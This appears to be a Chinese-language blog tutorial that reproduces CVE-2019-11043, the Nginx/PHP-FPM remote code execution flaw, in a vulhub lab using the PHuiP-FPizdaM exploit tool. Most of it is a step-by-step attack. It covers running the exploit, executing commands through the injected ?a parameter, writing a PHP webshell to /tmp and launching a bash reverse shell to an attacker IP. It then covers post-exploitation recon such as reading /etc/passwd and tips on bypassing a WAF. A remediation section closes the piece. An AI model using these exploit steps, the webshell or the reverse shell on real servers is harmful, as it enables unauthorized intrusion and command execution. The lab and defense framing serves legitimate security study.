CVE-2019-11043漏洞复现:Nginx+PHP-FPM远程代码执行原理与实战

发布时间:2026/7/6 21:41:45
CVE-2019-11043漏洞复现:Nginx+PHP-FPM远程代码执行原理与实战 1. 项目概述与核心价值最近在整理一些老漏洞的复现笔记翻到了CVE-2019-11043也就是那个经典的NginxPHP-FPM远程代码执行漏洞。这个漏洞的利用工具PHuiP-FPizdaM在安全圈里名气不小但很多刚入门的朋友看到那一串参数和步骤就有点发怵。其实只要把Nginx和PHP-FPM的交互原理搞清楚了整个利用过程就像拼图一样每一步都有它的道理。这篇文章我就从一个实战者的角度带你走一遍完整的漏洞复现和利用流程不只是“跑通工具”更重要的是理解背后的“为什么”。无论你是想搭建靶场学习还是做渗透测试前的知识储备这十个步骤拆解下来应该都能让你对这个漏洞有更立体的认识。这个漏洞的核心场景非常普遍使用Nginx作为Web服务器并通过PHP-FPMFastCGI进程管理器来处理PHP请求的配置。很多默认的、或者从网上抄来的Nginx配置都可能无意中踩中这个坑。漏洞的利用条件相对苛刻但一旦满足危害极大可以直接在Web服务器上执行任意系统命令。下面我们就从环境搭建开始一步步拆解。2. 漏洞原理深度剖析2.1 Nginx与PHP-FPM的通信机制要理解这个漏洞首先得明白Nginx和PHP-FPM是怎么“说话”的。Nginx本身不能解析PHP代码当它收到一个对.php文件的请求时它会把这个请求按照FastCGI协议打包成一个数据包转发给PHP-FPM进程。PHP-FPM解析这个数据包执行对应的PHP脚本再把执行结果打包通过FastCGI协议返回给Nginx最后由Nginx呈现给用户。这个通信过程的关键在于fastcgi_params或fastcgi.conf配置文件。里面定义了各种参数比如SCRIPT_FILENAME告诉PHP-FPM要执行哪个文件、QUERY_STRINGURL中的查询参数等。Nginx会把这些参数填充到FastCGI协议的数据包里。2.2 漏洞触发点PATH_INFO的解析错误漏洞的根源出在PATH_INFO这个参数上。PATH_INFO是CGI标准中的一个变量用于传递路径附加信息。例如对于请求/index.php/admin/userSCRIPT_FILENAME是/index.php而PATH_INFO则是/admin/user。在某些特定的Nginx配置下比如使用location ~ [^/]\.php(/|$)这种正则来匹配PHP请求时Nginx会将请求的URI中.php之后的部分赋值给$fastcgi_path_info变量并最终传递给PHP-FPM的PATH_INFO参数。问题来了攻击者可以构造一个特殊的请求比如/index.php%0a注意%0a是换行符\n的URL编码。当Nginx的fastcgi_split_path_info指令常与上述location规则配合使用尝试去解析这个URI时换行符\n会被错误地识别为路径分隔符。这导致Nginx在生成FastCGI数据包时错误地计算了各个参数的长度和位置。2.3 从解析错误到代码执行FastCGI协议的数据包有严格的结构包含类型、请求ID、内容长度、填充长度等头部信息后面跟着内容。由于上述的解析错误Nginx可能会错误地设置PATH_INFO的长度导致其值“溢出”覆盖了数据包中后续其他参数比如PHP_VALUE的内存区域。PHP_VALUE是一个极其关键的参数它允许在请求级别动态设置PHP的配置项php.ini中的选项。通过精心的构造攻击者可以利用这个内存覆盖将恶意的PHP配置注入到请求中。例如注入auto_prepend_file php://input这会让PHP在执行目标脚本前先包含并执行HTTP请求体Body中的内容。而请求体完全由攻击者控制于是就可以写入任意PHP代码实现远程代码执行。简单来说漏洞链条是特殊字符导致Nginx解析URI错误 - 错误的FastCGI参数构造导致内存布局错乱 - 覆盖并控制PHP_VALUE参数 - 通过PHP_VALUE注入恶意配置 - 实现远程代码执行。PHuiP-FPizdaM这个工具就是自动化完成“找到正确的参数偏移量QSL, PISOS以稳定覆盖PHP_VALUE”这一复杂过程的利器。3. 靶场环境搭建与配置分析3.1 使用Docker快速搭建漏洞环境手动搭建一个包含漏洞的NginxPHP-FPM环境比较繁琐版本和配置都要精确匹配。最省事的方法就是使用现成的漏洞靶场镜像。这里我推荐使用vulhub项目它提供了大量漏洞环境的Docker Compose配置一键启动。首先确保你的系统已经安装了Docker和Docker Compose。然后按照以下步骤操作# 1. 拉取 vulhub 项目代码如果已有可跳过 git clone https://github.com/vulhub/vulhub.git cd vulhub # 2. 进入 CVE-2019-11043 漏洞目录 cd php/CVE-2019-11043 # 3. 启动漏洞环境 docker-compose up -d执行后Docker会拉取镜像并启动两个容器一个包含漏洞版本PHP-FPM的容器和一个配置好的Nginx容器。环境启动后访问http://your-host-ip:8080/index.php你应该能看到一个简单的PHP信息页面这证明环境已经正常运行。注意这里的8080端口是docker-compose.yml里映射的宿主机端口。如果8080被占用你可以修改docker-compose.yml文件中的端口映射比如改成8081:80那么访问端口就变成了8081。3.2 关键配置文件解读理解漏洞必须看配置。我们来看看这个靶场环境里的Nginx配置文件通常位于/etc/nginx/conf.d/default.conf或类似路径。通过Docker命令可以查看# 进入Nginx容器 docker exec -it [nginx容器ID] /bin/bash # 查看配置文件 cat /etc/nginx/conf.d/default.conf你会看到类似如下的关键配置段location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.?\.php)(/.*)$; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; # 这里指向PHP-FPM服务 include fastcgi_params; }这就是漏洞的“经典配置”location ~ [^/]\.php(/|$)使用正则匹配所有以.php结尾的请求并允许后面有路径/。fastcgi_split_path_info ^(.?\.php)(/.*)$这个指令试图将请求的URI如/index.php/admin拆分成两部分第一部分是脚本文件/index.php存入$fastcgi_script_name第二部分是路径信息/admin存入$fastcgi_path_info。fastcgi_param PATH_INFO $fastcgi_path_info将路径信息传递给PHP-FPM。漏洞就潜伏在第2步的“拆分”逻辑中。当URI里包含换行符%0a时这个正则拆分会产生意想不到的结果进而污染了后续的FastCGI参数。3.3 漏洞影响版本确认这个漏洞不是所有PHP-FPM版本都有影响。它的影响范围是PHP 7.1.x 7.1.33PHP 7.2.x 7.2.24PHP 7.3.x 7.3.11你可以通过访问靶场的phpinfo页面来确认版本。在实战中如果遇到疑似存在漏洞的环境收集版本信息是第一步。vulhub提供的靶场环境通常使用的是php:7.2-fpm的某个早期标签镜像正好落在漏洞范围内。4. 利用工具PHuiP-FPizdaM详解4.1 工具获取与编译PHuiP-FPizdaM是由安全研究员neex用Go语言编写的漏洞利用工具代码托管在GitHub。它的名字看起来古怪其实是“PHP-FPM Pizda”的一种戏谑变体。使用前需要先准备Go语言环境。# 1. 安装Go语言环境以Ubuntu为例 sudo apt update sudo apt install golang-go -y # 2. 下载漏洞利用工具 git clone https://github.com/neex/phuip-fpizdam.git cd phuip-fpizdam # 3. 编译工具 go build -o phuip-fpizdam .编译完成后当前目录下会生成一个名为phuip-fpizdam的可执行文件。你也可以直接使用go run .来运行但编译成二进制文件更方便携带和多次使用。实操心得在国内网络环境下拉取Go模块依赖可能会比较慢。可以设置Go代理来加速go env -w GOPROXYhttps://goproxy.cn,direct。另外确保你的Go版本不要太旧以免编译出错。4.2 工具运行机制浅析这个工具不是简单的“一键攻击”。它内部完成了一个复杂的探测和计算过程初步探测工具首先发送一个正常请求获取基准状态码通常是200。QSL探测然后它会发送一系列精心构造的、包含不同Query String Length查询字符串长度简称QSL的恶意请求。它的目的是找到一个能触发后端PHP-FPM返回502 Bad Gateway状态码的QSL值。502状态在这里是一个关键信号意味着我们的恶意请求干扰了FastCGI协议导致PHP-FPM进程崩溃或异常Nginx因此返回502。这个能触发502的QSL值是后续计算内存偏移的关键。参数计算工具根据找到的QSL值结合目标系统的内存对齐特性计算出两个关键参数--qsl和--pisos。pisos可以理解为需要“跳过”的填充块数量以使得我们注入的数据能精确覆盖到PHP_VALUE参数的位置。实施攻击使用计算出的参数工具构造最终的攻击请求尝试通过覆盖PHP_VALUE来设置auto_prepend_file php://input并将一个简单的Webshell代码写入请求体。如果成功工具会反馈一个特定的URL参数通过这个参数即可执行命令。整个过程是高度自动化的但理解每一步的目的能帮助你在工具失败时进行手动调试和问题排查。5. 十步实战漏洞利用全流程假设你的靶场运行在192.168.1.100:8080。我们将从零开始完成一次完整的攻击。5.1 第一步环境与工具准备确保你的攻击机Kali Linux或任何Linux发行版可以访问靶机。按照第4.1节完成Go环境安装和PHuiP-FPizdaM工具的编译。准备好一个终端用于操作。5.2 第二步基础信息收集访问靶场首页http://192.168.1.100:8080/index.php确认服务正常。查看phpinfo页面如果存在记录PHP版本如7.2.23确认其在受影响范围内。用浏览器开发者工具或curl命令检查一下网站是否有WAF或其他防护设备简单的curl -I http://192.168.1.100:8080/看看返回头信息。5.3 第三步首次运行工具进行探测进入工具所在目录运行以下命令进行初步探测./phuip-fpizdam http://192.168.1.100:8080/index.php工具会开始自动工作。你会看到类似如下的输出2023/10/23 19:41:00 Base status code is 200 2023/10/23 19:41:00 Status code 502 for qsl1795, adding as a candidate 2023/10/23 19:41:00 The target is probably vulnerable. Possible QSLs: [1785 1790 1795] 2023/10/23 19:41:02 Attack params found: --qsl 1790 --pisos 152 --skip-detect 2023/10/23 19:41:02 Trying to set session.auto_start0... 2023/10/23 19:41:02 Detect() returned attack params: --qsl 1790 --pisos 152 --skip-detect -- REMEMBER THIS 2023/10/23 19:41:02 Performing attack using php.ini settings... 2023/10/23 19:41:02 Success! Was able to execute a command by appending ?a/bin/sh-cwhichwhich to URLs 2023/10/23 19:41:02 Trying to cleanup /tmp/a... 2023/10/23 19:41:02 Done!关键信息解读Base status code is 200基准状态码正常。Status code 502 for qsl1795找到了能触发502的QSL值这是一个好迹象说明目标可能存在漏洞。Possible QSLs: [1785 1790 1795]工具探测到多个可能的QSL值。Attack params found: --qsl 1790 --pisos 152 --skip-detect工具成功计算出了攻击参数。请务必记下这行参数尤其是--qsl和--pisos的值它们对于特定目标是相对稳定的下次可以直接使用跳过耗时的探测阶段。Success! ...最重要的信息攻击成功。工具告诉你可以通过在URL后附加?a/bin/sh-cwhichwhich来执行命令。这里的a是工具注入的Webshell用来接收命令的参数which which是它测试执行的命令。5.4 第四步验证命令执行根据工具提示我们构造URL来验证漏洞是否真正利用成功。在浏览器或使用curl访问http://192.168.1.100:8080/index.php?aid如果页面返回了uid33(www-data) gid33(www-data) groups33(www-data)这样的系统命令id的执行结果那么恭喜你远程代码执行已经成功了你可以尝试执行其他命令如ls -la /、pwd等。注意事项由于漏洞利用涉及污染PHP-FPM的特定工作进程而Nginx通常连接着多个PHP-FPM子进程所以并不是每次请求都能命中那个被污染的进程。如果第一次访问没有返回命令结果多刷新几次页面或多次发送请求即可。这是此漏洞利用的一个典型特征并非失败。5. 第五步使用已获参数进行稳定攻击第一次探测成功后我们就不需要再让工具去自动探测了。直接使用它给出的参数进行攻击更快更稳定。./phuip-fpizdam --qsl 1790 --pisos 152 --skip-detect http://192.168.1.100:8080/index.php参数说明--qsl 1790指定查询字符串长度。--pisos 152指定填充偏移量。--skip-detect跳过探测阶段直接使用提供的参数进行攻击。运行后工具会直接执行攻击阶段并输出成功的消息。之后你就可以继续使用?a参数来执行命令了。5.6 第六步获取交互式Shell执行单条命令固然有用但一个交互式的Shell更方便我们进行深入探索。我们可以利用漏洞上传一个反向Shell。首先在攻击机上监听一个端口# 在攻击机终端执行 nc -lvnp 4444然后通过漏洞执行命令让靶机连接回我们的攻击机。由于URL中需要编码特殊字符我们可以使用Python或echo配合curl来生成复杂的payload。一个常用的bash反向Shell payload是bash -c bash -i /dev/tcp/攻击机IP/4444 01我们需要将这个命令进行URL编码并通过参数a传递。一个更稳妥的方法是先用漏洞写入一个包含反向Shell的PHP文件再访问这个文件。方法一直接执行编码后的命令可能受环境限制使用Python快速生成编码后的命令import urllib.parse cmd bash -c bash -i /dev/tcp/192.168.1.50/4444 01 print(urllib.parse.quote(cmd))将输出的字符串拼接到?a后面访问。但这种方法可能因为bash环境或特殊字符问题失败。方法二写入WebShell再连接推荐步骤1写入一个简单的PHP WebShell到可写目录。# 通过漏洞执行echo命令写入文件 curl http://192.168.1.100:8080/index.php?aecho?phpsystem(\$_GET[\cmd\]);?/tmp/shell.php访问http://192.168.1.100:8080/index.php?als-la/tmp确认shell.php文件已创建。步骤2通过这个WebShell执行反向Shell命令。# 访问我们写的shell并传递cmd参数执行反向连接 curl http://192.168.1.100:8080/tmp/shell.php?cmdbash-cbash-i%26/dev/tcp/192.168.1.50/44440%261注意这里我们访问的是/tmp/shell.php并且对等符号进行了URL编码%26是的编码。执行后观察攻击机上监听的nc终端应该会收到一个来自靶机的Shell连接。5.7 第七步权限维持与信息收集拿到Shell后我们通常位于www-data用户权限下。可以进行一些基础的信息收集whoami/id查看当前用户。uname -a查看系统内核信息。cat /etc/passwd查看系统用户。ps aux查看运行进程。ifconfig或ip a查看网络配置。find / -type f -name \*.php\ 2/dev/null | head -20查找其他可能的Web应用。重要安全提醒本文所有操作均在授权的靶场环境进行。在真实环境中未经授权的渗透测试是违法行为。信息收集后切勿进行破坏性操作。5.8 第八步漏洞利用的失败分析与排查不是每次运行工具都会成功。常见的失败原因和排查思路如下现象可能原因排查步骤工具运行后无502状态码直接失败1. 目标不存在漏洞PHP版本已修复。2. Nginx配置不满足漏洞条件如未使用有问题的location规则。3. 网络不通或目标服务异常。1. 确认PHP版本在受影响范围内。2. 检查Nginx配置文件确认处理PHP的location块是否使用了易受攻击的正则模式。3. 使用curl或浏览器直接访问目标确保服务正常。有502状态码但最终攻击失败1. 计算出的qsl/pisos参数不准确。2. 目标环境有细微差异如系统架构、内存对齐。3. PHP-FPM配置限制了PHP_VALUE的设置如php_admin_value。1. 让工具多运行几次看每次计算的参数是否稳定。尝试使用另一组可能的QSL值工具输出的Possible QSLs。2. 尝试手动调整--pisos参数在其附近增减一些数值如150, 154, 148重新尝试。3. 查看PHP-FPM池配置文件通常位于/etc/php/fpm/pool.d/www.conf检查是否有php_admin_value或php_admin_flag设置了auto_prepend_file这会覆盖我们的注入。命令执行返回空白或异常1. 未命中受污染的PHP-FPM进程。2. 命令本身在目标环境不存在或执行出错。3. 有Web应用防火墙(WAF)拦截了恶意参数。1.多次重复执行命令这是该漏洞利用的常态。2. 尝试执行简单的命令如pwd、echo 123。3. 检查请求和响应查看是否有WAF的拦截页面或特征头如X-Protected-By。尝试对参数进行更多变形或编码绕过。5.9 第九步手动构造请求深入理解为了更深入地理解漏洞我们可以尝试用curl手动模拟工具的部分请求。这有助于在工具失效时进行手动利用或者编写自己的利用脚本。工具的本质是构造一个特殊的HTTP请求。我们可以用curl -v来查看工具发出的请求细节。但更直接的方法是理解其原理后手动构造。一个简化的手动利用思路是找到一个能稳定触发502的路径和参数长度QSL。这可能需要大量尝试。根据QSL结合对FastCGI协议包结构的理解手动构造一个畸形的FastCGI请求使得PATH_INFO溢出并覆盖PHP_VALUE。在覆盖的PHP_VALUE中设置auto_prepend_filephp://input。在HTTP请求体中写入PHP代码如?php system($_GET[c]);?。这个过程非常复杂且容易出错需要对FastCGI协议有深入了解。因此在实战中强烈建议使用成熟的工具。手动构造更多是用于学习和研究。5.10 第十步漏洞修复与安全加固建议学习攻击是为了更好的防御。作为运维或开发人员如何避免自己的服务器受到此类攻击升级PHP版本这是最根本、最有效的修复方法。将PHP升级到安全版本PHP 7.1 7.1.33, PHP 7.2 7.2.24, PHP 7.3 7.3.11或更高版本。修改Nginx配置如果暂时无法升级PHP可以修改Nginx的配置文件避免使用有问题的location匹配规则。方案A推荐使用location ~ \.php$严格匹配以.php结尾的URI这样就不会解析PATH_INFO。但注意这可能影响某些依赖PATH_INFO的路由框架如某些ThinkPHP旧版本。方案B在现有的location块中移除或注释掉fastcgi_param PATH_INFO $fastcgi_path_info;这一行。如果没有程序依赖PATH_INFO这通常是最安全的做法。修改后务必重载Nginx配置nginx -s reload。添加WAF规则在Nginx层面或通过外部WAF过滤请求URI中的换行符%0a,%0d等可疑字符。最小化PHP-FPM权限以非root用户如www-data运行PHP-FPM进程并严格控制其目录访问权限。定期安全扫描与更新使用漏洞扫描工具定期检查服务器组件保持所有软件Nginx, PHP, 系统库更新到最新稳定版。6. 拓展思考与防御视角从防御者角度看这个漏洞的利用链揭示了几个安全要点默认配置的危险性网上流传的“万能”Nginx配置片段可能包含未知的安全风险。任何配置都应结合业务需求进行审查和裁剪。深度防御单一防线如只升级PHP可能被绕过。应建立升级安全配置WAF权限控制的多层防御体系。异常监控大量的502错误Bad Gateway可能是攻击者正在尝试利用此漏洞的迹象。监控Nginx和PHP-FPM的日志对异常的请求模式如大量包含%0a的请求设置告警。对于安全研究人员这个漏洞也是一个很好的学习案例它涉及了Web服务器与后端解释器的协议交互、内存布局、解析器逻辑缺陷等多个层面。理解它对于分析同类型的“解析差异导致的漏洞”有极大的帮助。最后技术本身无罪关键在于使用它的人。希望这篇详细的实战教程能帮助你更安全、更深入地理解网络攻防技术并将其用于提升系统和应用的安全性。在自家靶机上多练练手遇到真实环境才能心中有数。